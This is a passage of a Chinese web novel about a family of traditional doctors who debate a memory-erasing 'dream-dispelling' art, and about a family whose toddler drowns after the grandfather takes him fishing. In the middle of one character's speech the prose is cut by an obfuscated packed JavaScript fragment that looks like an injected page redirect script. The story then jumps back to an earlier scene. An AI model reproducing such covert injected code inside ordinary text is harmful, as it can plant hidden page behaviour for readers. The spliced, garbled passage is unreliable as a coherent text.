一段时间相处下来,传岚倒是在这个养老院里混的比院长还受欢迎,上到老人,下到职工,没有哪个不爱跟他来往的,就连家属们都夸赞这姑娘人美心热。 这不,上周刚好碰见有个叫李大奎的老人在活动时踉跄着差点摔了跟头,幸好传岚路过时手疾眼快扶了一把,才避免其摔倒,这个年纪的老人,摔伤都是大事,也轻易经不起摔。 传岚对李大奎印象蛮深的原因是李大奎大多时间里都是一副沉默寡言,局促木讷的样子,每次集体活动,他都是主动缩在边角位置当观众鼓掌。 问及,院长只说他性格腼腆,因不识字还有点自卑,没有什么才艺跟爱好,也不愿意凑到人前扎堆。 只是传岚观察李大奎好久,总觉得这人郁郁寡欢有些异常,便隐晦的跟院长提了一嘴平时要多留意李大奎,建议家属有时间多陪伴开解下,不要让他过久沉浸在自己的世界里。 院长听了传岚的建议,无端叹了口气说:“这李大奎也是个可怜人,爸妈死的早,好不容易靠自己成了家,谁承想媳妇生二胎的时候一胎两命都没了,好不容易儿子争气考上了好大学,想着砸锅卖铁也要上,结果儿子体检出了胃癌,真是‘雷打真孝子,财发狠人心,麻绳专挑细处断,厄运专找苦命人啊’,得亏都过去了,现在生活都好起来了,不然这一辈子怎么苦的过来啊。” 传岚竟不知李大奎还有这般过去,怪不得看起来老是郁郁寡欢,但他话已出口,也不好再改,反正家人多陪伴总是好的。 传岚结束在养老院的工作,悠哉悠哉的准备打道回府,回去时会经过医馆,想着今天下午正好是姑姑当值,可以一起回去,便在附近下了车,走两步过去,就当锻炼锻炼身体。 传岚到医馆的时候已经是五点十二分了,还有十来分钟就到下班的时间了,馆内前厅里只赵鹏飞一人在整理药材,姑姑明礼的诊室外没人等候,但诊室的门还闭着,传岚上前与赵鹏飞打了招呼便坐在大厅安静等候。 没一会儿,里面的人就出来了,出来的人恰巧是传岚前些天见过的母子俩,看上去,女儿还是那个样子,但母亲比起之前,却更显憔悴了,两人找赵鹏飞配了药,明礼也跑出来追着叮嘱,叫他们一定要心宽些,别熬坏了身体。 直至母女俩拿药出了门,再望不见身影,明礼才回身过来,深深叹了口气,招呼着传岚准备收拾东西回家,容巧那边也是一副疲倦至极的样子,只寒暄了两句就同赵鹏飞一起去整理检查药材,准备随后锁门下班。 离家不远,明礼建议走路回去,路上吹吹风也能换换心情。 明礼虽不能生育,但好在他并没有什么强烈的情感需求,虽然之前也谈过两三个,最后都不了了之,但好在现在传岚和传人在身边,也算有个陪伴,再加上他来回在医院医馆两头跑,算起来也没有什么时间空下来,这样忙碌充实的生活反倒让明礼活的简单而快乐,加之他又没有世俗的压力,这使得他跟弟弟明德更容易专注沉浸在自己的事业里,也更容易拥有保持这样一颗纯粹的心。 傍晚的天黑的很快,没走一会就已经黑透了,街边的路灯一排排的亮了起来,呼出的气也有些变白。 “我算了下,从出校门到现在,我当医生已经整整有20年了,这20年里大大小小的病人我也接待了不少,但总的来说大多都是些只需要调理修养的亚健康患者群体,并不会接触到那些身患绝症或者格外能调动牵扯人心绪的病患,当然,这也跟我的专业和门诊分类有关。”明礼细数着这几十年来的经历,似是有感而发,缓缓地说道。 对于姑姑突然而来的诉说,传岚也不作打断,静静等他接着讲下去。 “这么多年,我一直认为自己做得很好,我从来没有因为患者东拉西扯说不清楚而不耐烦胡乱下诊断,也没有因为患者刻意放大痛苦而扰乱心绪影响了我的诊断,我一直秉持着只有理智专业才能真正做到减轻患者痛苦,进而消除他们病症的理念,我是这样想也一直这样做的。但是最近这段时间,我对自己之前的想法好像产生了动摇。” 传岚依旧没有接话,等着姑姑的下一句。 “岚岚,你说医生应该对患者抱有同理心吗?”铺垫过后,终于,明礼问出了他的疑问。 “从专业上来说,我认为是不应该的,但医生也是人,天生就有同理心的人,没法因为职业就隔绝丢掉的。”传岚并不想分析想太多,只是本能的说出了自己的理解。对于从医二十年的人来说,现在才想起来讨论看待这个问题,似乎太晚了,就像吃饭的人快吃完饭了才想起来他需要筷子一样,但问出这个问题的人是纪明礼,传岚又不觉得奇怪了。 明礼听完沉默了一会,又开了口:“我们家这几个人里,最你爸妈心软,当时爷爷还担心你爸经营医馆,会不会因为心软就把医馆赔出去,哈哈,没想到人家经营的还蛮好。” 明礼今天分享欲好似很是旺盛,想到什么就说什么,也不管前后有没有联系,“你爸没了后,我接手医馆也有八年了,虽然这八年里还时不时冒出几个点名要找你爸的人,但人没了就是没了,来几次都是没用的。慢慢的,仁济堂在我的经营下好像越来越正常,正常到跟其他医馆都没什么区别一样。 “我知道你有意藏着躲着驱梦术,不想沾染使用它,我理解也尊重你,这么多年,我从没提起过,也没要求你像你爸爸一样把它用在医疗里,我以为医馆就这样了,直到传人来找我,他说他想试下驱梦术,我也不知道为什么就答应了,可能是害怕仁济堂在我手里真的沦落到和大街小巷里的医馆一样普通,也可能是我打心里就对这神奇的驱梦术有些着迷,我怕它忽然的来,又忽然的没了,总之,不管什么原因我答应了。 “我答应传人后,开始有目的的挑选一些常规医学无法短期解决病灶的项目来让传人接手学习,我原本想的是让传人来接手这些超纲的项目,既能让患者快速得到疗愈,又能让传人练习掌握驱梦术,是个双赢的事情。 “只是我没想到的是,传人他太稚嫩了,即便他也觉醒了驱梦的能力,但他对驱梦术的了解还是太少了,为了不浪费他的精力,又能使他尽早地熟悉掌握驱梦术,我不得不参与进来辅助他,我要提前尽可能详细的了解患者病灶背后的原因,以及患者产生心病的复杂程度,来更好的判断挑选出哪些是传人当下能解决的项目,哪些又是能适当刺激提高他能力的项目。 “只是,我在挑选了解项目的过程中逐渐感到痛苦压抑,那些能用到驱梦术的案例,每一个背后都有着各自的痛苦。我没法帮他们解决,这对我来说超纲了,我只能听他们讲,时间久了,我好像也跟着陷入到那种情绪里了一样。 “尽管,我心里想着要冷静克制,但我发现好像做不到了,这里的患者跟我在医院里遇到的根本不是一个等级。” “岚岚,姑姑我心有余而力不足啊,我没有这个能力去保持仁济堂的特别,我不想勉强你,可是现在只有你能撑得起它了,回来好吗,要是实在不愿意从事驱梦师,好歹呆到传人有能力接管它再走,行吗?” “姑姑,我不明白你为什么会执着驱梦,它不是一个必要的存在,它只是一个捷径,你明明知道,正统中医可以调理疗愈的。如果患者自己的心病解不开,我就是用驱梦术也不过是让他短暂恢复,心结不解,时间久了,他还是会重新陷入泥潭,姑姑难道不知道‘自救者人恒救之,自弃者人恒弃之’的道理?” “我当然知道,但不是所有人都可以慢慢调理的,有些人的情况不适合长久调理,就适合驱梦术快速解决啊,要挺过了关键期,他才有慢慢调理的时间啊。” “姑姑,我可以实话告诉你,我研究过驱梦术,它不过是通过特定手段消除了令患者痛苦的记忆,这种效果是短暂的,并不是一劳而逸的。 “我不仅不愿意使用驱梦术,我还认为这是一件错误的事情,从一开始,我们就不应该接这种项目,不应该强求做一些费心费力又违背自然速度的事。寻常人,他能调理过来就慢慢调理,调理不来的那也是自然注定的。” “岚岚,你怎么能这么说,难道你认为爸爸和奶奶做的都是错的吗,他们不应该救人吗?”明礼无法接受传岚的看法,至少,这不是医者仁心能说出来的话。 “是,我认为他们做错了,且不说驱梦的副作用,光是他们的理念我就没法苟同,救人是应该的,但应该使用正规的医疗手段,医术无法解决的事情就该顺其自然,姑姑,你在医院做的是对的,不必动摇你的想法,是爸爸和奶奶他们做错了,他们太过于依赖驱梦术了。” 明礼愣住了,他不知道原来传岚一直是这样想的,明德在的时候明明传岚学习驱梦很积极,一点就通,明德还夸赞传岚是天生当驱梦师的料,一定能帮助更多的人摆脱深受睡眠障碍折磨的束缚。 明礼想问“是不是明德的死对你造成的伤害太大,以至于你颠覆了对驱梦的整个看法?”,但他无法问出口,只是听着传岚的话怔怔的沉默着不知接什么话。 明礼知道,当初明德出车祸是因为要去一位甲方家里面诊,而这个甲方,常规医术没法解决他的痛苦,明德,如伯仁因他而死。 “姑姑,走吧,传人等着吃饭呢。” 两人沉默着回了家,谁也没有继续在外面的话题,默契而自然的没有对传人提起过任何之前的讨论。自然,明礼也没能说出请传岚帮忙解决今天下午来医馆的那位患者的麻烦。 饭桌上,唐丽端着粥,一勺一勺送到雨花的嘴边等他咽下去,周边静悄悄的,即使是有几个外人,也一致出奇的保持着安静。只是不久,旁边茶几上就传来重重的一声,像是杯子撞在了上面,憋着火的一声响。 张志才看不下去了,率先打破了这份大家辛苦维系着的平衡,他朝着饭桌的方向嘶吼叫到:“你到底想干什么,有什么话你直说,你冲我来,别像个吊死鬼一样老缠着我们家行不行,果果没了,你们都怨我没看好,这些天我早受够了,要我说,这要怪就该怪他钟雨花,当初好好地不待家里看娃,非得作天作地的跑出去上什么班,把果果甩给我们两个老家伙,我们两个半截身子都能埋进黄土的人了,哪有那么多精力来看一个一岁多的孩子?况且果果正是活蹦乱跳好动的年纪,我们哪看得住?这都得怪雨花不安分,不好好待家里看娃,谁家媳妇生了娃不待家里照顾,一天净想着出去潇洒。” 唐丽被张志才的无耻气到气血翻涌,恨不能扑过去立时撕了他那张嘴,生啖了解恨,但理智拉扯着告诉他不能这样做,一切忍耐都是为了看好花花,要待在这直到花花好起来才行。 唐丽紧攥着勺子的手松开,一遍又一遍地扯着嘴角深呼吸来平复心情,尽量收着力不使米粥摇晃着撒到外面,他想,忍忍吧,只要雨花一好,他们就立刻回家去,再也不过来了。 电话里知道外孙没了的时候,唐丽老俩口连夜赶过来就与张志才干了一架,雨花的爸爸被气到住了院,现在还在医院里得侄子照顾,自己不能再有什么意外了,要是自己再有什么意外,谁来照顾他可怜的雨花,谁又来带雨花去看大夫? 唐丽抬眼向旁边没开灯的屋子里望了一眼,遂又将厌恶的眼神收了回来,将仅剩不多的温柔爱意投射在雨花脸上。 张勇胡子拉碴,灰败的脸上毫无波动,似是没听见张志才气急的喊叫,只倦坐在里间的地上,木然发愣。 秀芬听到张志才的话气不打一处来,抹着眼泪,捶胸顿足:“住嘴,你要死了说这种话,也不怕遭雷劈,雨花出去挣钱还不是为了这个家,是个人都说不出这种话。”秀芬骂完转过头对唐丽说,“是我,都是我造的孽,亲家母,是我没照顾好果果,你别听那个畜生讲的话,是我瞎了眼才把果果给张志才个王八蛋带,果果溺水都是我的错,是我没照顾好果果,是我对不起雨花啊。” 唐丽嗓子也硬,胸口也硬,硬到梗住快要呼吸不上来了,这胸里堵着巨石,嗓子里塞着棉花,耳朵嗡嗡的,五官好像都失去作用了,就连命,仿佛也丢了半条。 张志才恶毒残忍的话没能击倒唐丽,秀芬单薄自责的话却从四面八方钻进浸润了唐丽的眼眶,唐丽放下碗,抱着雨花失声痛哭起来,这天大的憋屈痛苦没地撒啊,好像唯有剩下这泪水,能冲刷掉一切阻塞,使人短暂的畅通些。 秀芬听着呜咽声,心里也难受得不行,情不自禁地过去与唐丽娘俩抱在一起痛哭,那边的张勇终于像个人一样有了反应,回头看了一眼后,将自己的头埋于膝上,双臂环抱着也呜咽了起来。 “雨花啊,好孩子,你说句话,想说什么都行,我都受着,你别一句话不说憋坏了自己啊。 “雨花啊,你还年轻,以后还会再有孩子的,你这样,果果也会难过的,你就让果果安心走吧。” 秀芬看着张了张嘴,一句话却也说不出口的雨花,心里更加难受了,想再说些劝解的话,却是再说不出口了。 雨花在妈妈和婆婆的哭声里脑袋昏昏沉沉的好像听见了果果在哭的声音。 他看见婆婆秀芬抱着果果在外面客厅哄觉,讨人厌的张志才最近迷上钓鱼还未回来。 “你就不能再考虑下?一定要这会出去工作吗?”张勇实在是不想接受这个方案,他想不通雨花为什么非要出去给外人挣钱,明明在家当家庭主妇是一样的,还不用花钱。 “我说过了,我不想手心朝上找你要钱,我不想过这么没尊严的生活,花个一二十块钱都要被人阴阳怪气背后指着说三道四。” “我挣的钱就是你的钱,你花自己的钱怎么能是找我要呢雨花,我以后工资发了立马就转给你,绝不让你开口朝我要好不好,工作的事你再考虑下啦。” “张勇,这个家现在不是只有你跟我,不是你说好就好的,你要是实在看不惯我出去工作,我不出去也行,你让你爸回去,这里留你妈一个就可以。” “这,我爸这个人嘴巴是坏点,但人不坏啊,你让他一个人回去,他怎么吃啊,他又不会做饭。” “你不要跟我说这个,当初说好了只让妈过来的,你不跟我商量,完了人到门前了,你才跟我说是他非要跟过来的,就住一个月,等果果满月过了他就走,我答应了,可是他一住下就不走了,一直赖到现在,张勇,要不是你当时拍着胸脯说他会走,我是不会答应让他住进来的。” “钟雨花,你说这就过分了昂,他怎么说也是我爸,这房他也出了钱的,他来住不是天经地义的吗?再说了,有你这样说公公,话里话外要赶人的儿媳妇吗?” “张勇你有点良心好不好,这房我没出钱吗,每个月贷款我没还吗,是,我是不想跟他住一起,可除了他嘴臭,张勇,你看看我们这两室一厅的小房子它能住的开这么多人吗? “还有,拜托你搞搞清楚,那是你爸,不是我爸,他对我来说就是一个没血缘又不熟的陌生人而已,跟大街上无数擦街而过的老男人没有任何区别。而我居然要跟这样的一个人生活在同一个屋檐下这么久,仅仅只是因为,我跟你结婚了,你不觉得这是一件很恐怖的事吗? “就在这不足一百平的格子间里,两个卧室的门相距不过一米远。你出去上班了,自然广阔自由,大把的新鲜空气,下班回来围着你的又都是你的家人,可是我呢,我一天二十四小时待在家里,哪也去不了,只要你爸在家里,我就永远只能待在卧室里。 “我去上班,不仅仅是不为伸手朝你要钱,更是我也想要呼吸新鲜空气,想要有个人空间,你明白吗?” “我爸也不是一直待在家里啊,他不经常出去外面溜达吗,他出去了你就可以自在点透透气了。” “张勇!难道我只配看别人眼色活着吗,别人挑剩下吃完了我再吃?这也是我的家,我不想藏着躲着活这么累不行吗,我也不想说这么多,总之还是那句话,要么我出去工作,要么让你爸回去。” “你这不是难为我吗雨花,我爸什么脾气你又不是不知道,我主动开口只会让他更生气,他会反着来的,你就再忍两年,等果果大了,家里没地方住了,他自然就回去了。” “那就没什么好说的了,反正我已经找到工作了,虽然薪资没有我之前的好,但补贴家用请保姆也算可以了,你也不用再劝我了,有这功夫留着劝你爸吧,让他少点自私,就当给这个家积德了。” 秀芬抱着果果躲得远远的,不想卷入纷争当中,想这城里的楼房确实也没法住下两代人,里边说个话,声音大点,外边听的一清二楚,一点隐私都没,不像农村有院子,可以随时出去到院子里,到外面透气。 雨花出来接过果果进了房间,张勇出来坐在沙发上玩手机。秀芬也不多话问什么,就本本分分地做饭去了。 除了钓鱼回来的张志才喜滋滋的,其他几个人都怏怏地不说话,各有各的心思。 晚饭后,秀芬一如既往的在厨房忙活,雨花在房间里哄着果果玩,张志才斜靠在沙发上刷着关于钓鱼的短视频,张勇整理了下心情,端着杯水坐过去。 “我听妈说你最近迷上了钓鱼,是去哪钓的?都跟谁啊?” 距上次两人闹矛盾已经过了两周了,做儿子的先低头递台阶,做老子的也不能太拿乔了,张志才便搭了话,“就在南鲤湖,听说那的鱼好钓,就跟楼下认识的几个老兄弟一起约着去的。” “南鲤湖?那儿不是不让钓的吗,而且我听说那附近有险情,要围起来重新修缮护砌啊。” “不要紧,我看过了,就靠近曲福路的一小块地方冲了个坑,我们又不在那钓,我们在长宁路那打窝钓,楼下那老向说长宁路那有片竹林,一般人不往那去,没人管。” “听着怪危险的,你还是不要去了,就去楼下或者附近公园下下象棋就挺好的,大冷天的也不折腾。” “这折腾啥,钓个鱼而已,那楼下几个老头都是臭鱼篓子,棋臭的很,我懒得跟他们下。” “这总归也不好,人那不让钓,你们偷着钓,这万一出事了怎么办,要不然你回老家去吧爸,老家池子大,鱼多,想怎么钓就怎么钓,还没人管,你说是不是啊。” “这能出什么事,大不了抓住罚个款,我一大把年纪的人了,他还能把我拘留了不成。”张志才像是故意挑衅的大鹅,脖子一梗,伸的老长了。 “爸,我觉得你还是回老家的好,你看老家又宽敞,亲戚又多,还没人管,总比待城里好吧,这城里管这管那的,规矩又多,又拘着人不自由,况且地方又小,你待着也不舒服啊,你看我要不是为了挣这两毛钱,早就带老婆孩子回老家了。” “我算是听出来了,你讲这么个半天,原来就是想赶我回去啊,你直说啊,绕这么大圈子,说这么多,也不嫌浪费唾沫啊?”回过味的张志才把手里的手机往旁边一撂,对着张勇冷笑一声,嘲讽到。 “没有赶您的意思,您说哪去了,主要是家里实在住不开,这么多人挤在一起也不方便。” “哼,来的时候没说不方便,都住一年了,现在不方便了,不用你说,我知道肯定是那姓钟的挑拨离间,撺掇你来跟我说这些的,我告诉你,我自己回去可以,但你们俩口子可千万别想把我撵走,你们越是想要我走,哼,我还偏不走,偏不从你们的心意。 “这老话说得好啊,娶妻娶贤,这祸事的媳妇害三代啊,当初怎么就找了这么个黑心黑肺不孝敬公婆的东西,我呸,长舌妇一样,尽在背后搅事。” 雨花抱着孩子啪的一下摔开了门:“有你这样自私的搅事公公才是害三代,没见谁家的公公这么不害臊,非要跟儿子儿媳妇挤在一起住的,这说出去都让人笑掉大牙,你睁眼看看,这可不是农村,这楼房屁大点地方压根就不适合两代人挤在一起。这房子你爱住就住去吧,赶明儿我跟张勇搬出去租房住,你就在这房子里待到死吧。” “雨花!怎么跟爸说话呢?”张勇怕两人又像上次一样吵到动起手来,连忙起来将母子两人半推半圈进了房。 背后是张志才咒骂的声音飘了过来,“没教养的东西,有人生没人养,对着长辈说的什么话。” “行了,你少说两句,跟你说了你先回去你不听,待着天天吵架就舒坦了是吧,人雨花说的也没错,这楼房里确实不适合住两代人,更何况雨花年纪还轻,不爱跟我们住一起也是能理解的,大家互相体谅下,各退一步,家和万事兴嘛。” “滚滚滚滚滚,混账东西,他是个混账东西,你也是吗,一个两个都来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你要是嫌麻烦,把果果吃的小馒头小饼干什么的带点也行,他爱吃那些,也不用你冲泡,对了,再带点纸巾纸尿裤,万一他--” “行了,就出去个把小时,又不是出远门,唠唠叨叨的,你看这兜儿大不大,干脆把这房子都装进去得了,我又不是没带过孩子,还用你说,保不齐在他饿之前我们就回来了呢。”话是这样说,但张志才还是顺手将东西一股脑塞进了小推车后边的网兜里。 秀芬用围裙擦了擦手,望着张志才出门的身影,心里啐到,“你带过个屁,高兴了过来抱个几分钟,不高兴了哪怕是孩子嗓子哭哑都跟个聋子似得,这会也有脸说会带孩子,不过跟逗猫遛狗没两样罢了。”秀芬想了想,还是自己带心里踏实些,早点打扫完接回来自己带吧,手里的动作也不免快了几分。 张志才在楼下碰见了提着渔具的老向,这两人本是寒暄闲聊几句就各忙各的去,哪成想老向提了句南边单元楼的老李昨天钓了一条足有三四斤重的黑青大鳜鱼,一下就又勾起了张志才的瘾,听着羡慕的不得了,满心里想的是自己也钓上来一条才算好,这边摩拳擦掌,蠢蠢欲动,思量再三,决定待会也去碰个运气。 张志才托老向看着孩子,说自己上去拿了渔具一同过去,老向劝他今天不去明天方便了再去也是一样的,只是张志才这会处于兴奋中,脑袋也没转过弯,想不得其他的因果事由,一溜烟就跑了去,不一会又跑了来。 “老张啊,要不你明天闲了再去,不然就把孩子放家里,哪有带孩子去钓鱼的,这水边多危险啊。”才刚说着,张志才没听进去就一溜烟跑了,这下来了好歹也要说清楚。 “不碍事,这娃又不会跑,坐推车里,到时候给他固定好,旁边堆几块石头,安全得很。”张志才才推出来看娃没一会,这要是再推回去说去钓鱼,肯定招秀芬的烦,还是算了,带过去好了,反正离得也不远,一会就回来了。 “那也不行啊,这大冷天的,万一冻感冒了呢,你这不是胡闹嘛。” “嗳,怎么连你也啰里啰嗦的,这小孩子火旺的很,穿这么厚哪会冻感冒,走吧走吧,别浪费时间了,我就去钓一个小时,钓没钓到就回来了,赶紧走吧。” “老张,这真不行。”老向看着前面推车走的飞快的张志才,懊恼自己刚才多说两句干嘛。 “你跟家里说了没?”拦不住起码得知道他家里知不知道这事,不然叫人太不放心了。 “说了说了,放心吧。” 南鲤湖是从长江分支民垸河的一条小分支里引出的,整个湖从东到西弯弯绕绕贯穿了大半个主城区。流经凤鸣苑的流量虽不算多,但喜在位置好,水流在长宁街拐了个弯后聚集在这里,使得这里比别处稍显凉快些。 不过听说最近有重新修缮护砌的打算,一路走来,河两边立了不少警示的牌子,人多的地方,没有防护的地方都打了铁皮网围了起来。只是再多的防护也防不住有心钻空子的人。 张志才和老向到的时候已经有好几个人了,老向眼看着张志才把推车卡在几根竹子那,找了几块石头垫在推车下面找平后就去挑地方钓鱼了,老向不放心的在跟前仔细看了看,看卡的确实稳当,便也在跟前坐下,要是有个什么,离得近也好帮忙。 “哟,老张老向也来了,什么时候来的啊?”老李熟稔地收起刚钓上来的一尾小鲤鱼,丢进桶里,笑着打招呼。 “刚过来,吃完饭过来钓一钓消消食。”老向也笑着回。 李老头很早就过来了,这会也钓的差不多了,起身溜达溜达舒展下身体,走到老向这,才看见上边不远处几根竹子那卡着个推车:“了不得,这谁家的孩子啊,怎么在这啊。老向,你后边谁家孩子啊。” “老张家的,劝不住,非要跟过来,我放心不下,坐近点帮忙看着。”老向悄声说。 “这老张也太不像样了,怎么能把孩子带到这种地方呢,也不知道他家里知不知道。”老李凑到跟前坐下。 “说是知道,但谁又知道呢。” “老向啊,说句不好听的,你虽是好心帮忙看着,但真有个什么事,到时候缠上你,有得麻烦,我劝你还是离远点的好。” “这不能吧。”老向悄摸的瞄了一眼张志才。 “这哪里说得准,你嫂子昨天还跟我说老张在家天天挑儿媳妇的刺,惹得儿媳妇跟他干了一架,脸都抓花了呢,说是嘴臭得很。” 老向听得心里直犯嘀咕,不禁连瞄了好几眼不远处的张志才。 老李拍了拍老向,“劝你今天早点回去吧,我也收拾收拾准备就走了。” 张志才今天运气似乎很好,还没坐一会,就钓上来一条鳜鱼,掂了掂重量,像是两斤多些,虽然不大,但也算是首战告捷,气势如虹,是个好兆头。 张志才这才想起来回应老李,朝两人跑来分享自己的喜悦,这边两人看到张志才过来也赶忙分开了些。 “老李,你看我刚钓的怎么样,不比你那三四斤的,但第一条也不错了吧。”张志才领着鱼到二人面前。 “那是,我昨天钓一天才钓到的,老张你第一把就钓到了,后面肯定钓的更好了。”老李深谙人情世故之道。 得到夸赞与认可的张志才难掩得意,竟好为人师的当场指导起了老向,“老向我看你杆子立的不稳嗳,你得找个好点的地方立好,不然风一吹就动弹,那鱼就知道不咬勾了。” 老向想着老李刚才的话,心里还冒着泡,听老张这么一说,也不觉懊恼生气,顺坡下驴:“是吗,那我得换个地方嘞。” 说着,立马起身将东西挪的远了些,等那边重新布置妥当,老向才说。“那老张你就坐那吧,也离你孙子近些,好有个照应。” “没事,我坐那边也是一样的,你这位置不好钓不上鱼。”张志才朝他原来的地方一指,又跑去把鱼放好。 “不过说真的,今天就回去吧老张,孩子在这总是不安全。”老李也是不放心,忍不住开口劝到。 “你别是怕我钓到更大的吧老李,你放心,我今天钓到了,你明天说不准又钓到更大的了。” 老李摇了摇头,和老向使了个眼色,就回去了。 张志才刚坐下,想到什么,又弹起来,跑去竹林那,看见孙子竟不知何时已经醒了,张志才从推车后面好一阵捣鼓,翻出小孩吃的米饼塞到手里让自己拿着吃。 “好孙孙,乖乖在这待一会,爷爷再钓一条我们就回家,钓到了回去给你们加餐。” 旁边哗的一声,老向钓起了一尾大鲤鱼,旁边的人跑去抄网帮忙捉鱼,老张瞧得心痒难耐,回头看一眼自己的位置,只见自己的杆子也发出了动静,喜得忙跑去察看。 张志才拽了下线,发觉手劲还挺沉,心里想怕不是条大鱼吧,而后屏气凝神,使着劲的提着杆子拉线,奈何底下的东西也不轻易松口,几次三番,张志才气性上来,深吸一口气,马步扎稳了,非要拽上来不可。 只是他并不晓得这世上还有个过刚易折的道理,更大的困难往往都是依靠团体而破除的,光靠个人的蛮力是走不长久的,而一个团体里,最重要的是包容体谅,而不是独裁专制。 张志才鱼竿断了的时候,他感觉自己脑袋里紧绷着的弦也跟着断了,“啪”的一声,像是一颗巨石投进了水里,巨大的水花滴落打在他的身上,竟有了实感。 “老张,你愣着干嘛,你孙子掉水里了。”老向心急如焚,看老张呆呆愣愣的,还以为吓傻了,一时做不出反应,忙拍了几巴掌。 谁也没注意到卡着的竹子不知何时松了,等听到响的时候,推车已经跑动翻下去了,旁边注意到的两人也跑来看有没有能帮到忙的地方。只是单孩子掉下去还好,现在却是连着推车一起掉了下去,好难营救,且在场的几个老头每一个会水的。 张志才耳朵里终于接收到了信息,纷纷杂杂,他朝着旁边闹哄哄的人群望去,只见竹林那早没了推车的影儿,有几人喊叫着在河里打捞什么,反应过来的张志才呼吸急促,腿脚发软,踉跄着快速跑过去,哭喊着叫孙子。 “嗳,张志才是你公公吧?”老李在小区门口碰到下班回来的雨花,不确定的拦住问到。 雨花虽然疑惑,却也如实回了是。 “你公公带你家小孩去南鲤湖钓鱼了,你知不知道啊?” 不好的预感朝雨花扑面而来,如海浪般席卷着拍向他,雨花难以置信的重复道:“你说什么,带孩子去钓鱼?在南鲤湖?” 不等对面的人回答,雨花的手机铃声就疯狂地响了起来,突如其来的声音一下就揪住了雨花的心脏,扑通扑通的乱跳个不停,雨花想要快点拿出手机接听,慌忙之中脱了手,一袋苹果滚得到处都是。 电话那头,婆婆秀芬的声音传了过来:“雨花,你快来人民医院,果果落水了。” 雨花一路上都在祈祷,只是落水,既然在医院抢救,就说明还有得救,对,不能乱想,果果一定没事的。 只是他不知道的是,果果是没了后才送到医院的。 7. 蓦然回首,是妈妈也是女儿 舒华发现自从和那位懂心理学的医生交谈过后就再没做过梦了,加上配合中药饮调理下来,睡眠也踏实多了,整个人都变得比以前有活力,就连妈妈都问他最近是不是有什么好事,每天精神好好的样子。 现在只等手里这一届学生一毕业他就立马辞职去做自己喜欢做的事。 为了感谢医生们对自己的帮助,舒华特地跑去做了一副“掌管睡眠的神”的锦旗送去医馆,挂在了一群朴素的“妙手回春、妙手仁心、名医家风等”锦旗中间。 说来因着传人这一层关系,舒华颇受医馆里众人照顾,来回医馆几次就与众人都混了个脸熟。放假以后,没事做的舒华自告奋勇跑去医馆作帮手,人多的时候帮忙发个号组织下排队什么的,人少的时候利用现有教师的身份盯着传人看会书也是顺手的事。几个年轻人,年龄差不太多,热情好玩,不多会就已是呼朋唤友的关系了。 卓雅和容巧一个性格大方一个性格内秀,都是很好相处的女生,赵鹏飞和孙立德两个也各有各的性格,但都是好说话的人,不难打交道,只是不常碰到纪传岚纪医生,好像只有医生坐诊的时候他才会来待一会,没坐诊的时候都找不到他人,也可能是舒华和传岚的时间上没对好,舒华一般是早上来待一早上,下午就回去了的。 于是,他今天打听好了传岚在的消息,带着自己亲手做的饼干上门了。 “来了啊,最近怎么样。”传岚听卓雅说了,说舒华在问他什么时间在,以为是身体有什么不舒服。 舒华听传岚还是一副公事公办医生对患者的口吻,心里不免有点落寞,和纪医生做朋友,应该可以吧。 “我今天来不是看病的,纪医生没听卓雅说吗,我假期来医馆作义工,今天过来是做了点饼干,感谢纪医生的妙手回春。” “不用这么麻烦,都是应该做的,也不是我的功劳,你要感谢也该感谢纪明礼医生。” “我感谢过了,我给纪明礼医生送了个大锦旗,在外面挂着呢,这是特意感谢你的。”舒华将精心包装好的饼干放在传岚面前。 “墙上‘掌管睡眠的神’是你送的?” “是啊,你觉得不好吗,我感觉很贴切,觉得比较符合年轻人的无厘头风格。” “挺好的。”传岚也不客气,接过来尝了下,“挺好吃的。” 舒华也不好意思直接说他喜欢传岚这样的女生,想和他做朋友,因为只有小朋友才可以说“跟我做朋友吧”这种话,大人是没法说出口的。 算了,今天已经吃了饼干了,下次再做点别的吧,时间久了,自然会成朋友的。 见传岚慢悠悠吃着饼干没说话,舒华也识趣儿的起身出去了:“那纪医生你忙啊,我先过去找卓雅他们了。” “嗯,对了,不就诊的话就叫我传岚吧,不用医生医生的,有什么事可以给我发消息,我看见了会回,不用麻烦问别人。” “嗯。那我下次给你带别的好吃的。”舒华像是得到了允许,很肯定的回了话,脚步轻盈出了门。 传岚今天休息,一整天都呆在医馆里帮忙当值。刚吃了点舒华带来的小饼干,现在还不太饿,想想中饭要吃什么,想了一会还是不知道要吃什么,传岚趴在桌子上假寐。刚回来的时候和卓雅他们一天吃五顿,吃的卓雅早就不理他了,现在已经不晓得要吃什么了,偏偏张姐回老宅子帮忙收拾准备过年的东西去了,家里没人做饭。 正消磨时间想中午到底要吃什么的时候,二叔纪明义推门进来了。 “二叔,你怎么过来了?”听见动静,传岚连忙起身坐好。 “有事路过,听传人说你在这,找你吃个中饭。” “哦,好哇二叔,我刚还在愁吃什么呢,你请吃饭解决我一大难题啊。” “哈哈,吃个饭算什么难题。”纪明义听见侄女的俏皮话,朗声说道。 “怎么不算,俗话说‘民以食为天’,可见人之第一要事就是吃,以前是要吃饱,现在是要吃好,我正愁不知道吃什么呢,这怎么不算是一大难题呢。” “哈哈,你这丫头,说的倒是有理,那走吧,我们去解决‘人之第一要事’。” “好嘞。”传岚换了衣服,与二叔纪明义驱车去了一家粤式茶餐厅,纪明义进门打了个招呼,就有人带路引到里间了。 “怎么样,这环境还不错吧。” “挺好的。”和普通商场的店子没什么大区别嘛。 “上周新开的,是以前一起搞乐队的朋友开的,过来捧个场,离你那近,以后过来吃饭就报我名,记我账上。” “好啊二叔,我到时候再看啦。”回想起二叔以前被朋友坑的事,传岚嘴上答应,心里想的却是自己付钱的好。 “传岚最近在做什么啊?” “没做什么啊,就在医馆呆着,偶尔出去跟朋友聚聚。” “哦,既然喜欢待在医馆,为什么要跑那么远去上海呢?” “二叔怎么也说这个,是姑姑叫你来的吗?上海多好啊,又繁华又前沿,这每年大批的人才涌进呢。” “要说奋斗,确实要去一线城市,发展好,机会多。”明义赞同到。 “是啊。”传岚挑了一筷子水晶糕喂进嘴里。 “但是咱们家不需要奋斗,你也不用做那种低成本的事浪费自己的时间。” 